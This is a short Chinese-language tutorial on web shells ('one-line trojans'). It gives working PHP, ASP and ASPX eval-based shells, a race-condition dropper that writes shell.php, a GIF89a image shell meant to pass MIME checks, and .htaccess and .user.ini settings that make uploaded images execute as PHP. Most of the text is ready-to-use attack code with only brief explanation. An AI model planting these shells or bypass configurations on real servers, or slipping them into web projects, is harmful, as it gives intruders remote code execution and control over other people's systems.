什么是一句话木马
一句话木马是一种短小精悍的恶意代码,通常只有一行之长。
这种木马可以以上传文件、修改配置等方式将恶意代码植入到受害者服务器上
然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。
常见的一句话木马
我们接触的一句话木马大多为这种,它需要在PHP环境中才可使用
<?php @eval($_POST[cmd]); ?>
木马原理
(1)$_POST[cmd]
$_POST 是 PHP 中的一个超全局变量,POST方式提交的所有变量,都会保存在此数组中,变量名即为键名
(2)eval()
eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。
该函数对php语法要求严格,所传入语句必须以" ; "号结尾
(3)@
符号@的作用是屏蔽该语句的报错信息
如果站点PHP版本>=8.0的话会报错
(4)脉络梳理
用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码
可用于条件竞争的一句话木马
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' ); ?>
这段代码是用来创建一个名为shell.php的文件,并在其中写入一段代码。
这段代码的作用是接受一个POST请求中的cmd参数,并将其作为PHP代码执行。
图片马
木马内容
GIF89a
<?php @eval($_POST[cmd]); ?>
//GIF89a 为了绕过可能存在的MIME头检测
.htaccess文件
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析
//无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行
.user.ini扩展文件
auto_prepend_file=shell.jpg
//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
//auto_append_file 是页尾包含
一句话木马收集
ASP一句话木马:
<% execute(request("value")) %>
PHP一句话木马:
<?php @eval($_POST['value']); ?>
变形后的PHP一句话木马:
<?php
$x = $_GET['z'];
@eval("$x;");
?>
ASPX一句话木马:
<%@ Page Language="Jscript" %>
<% eval(Request.Item["value"]) %>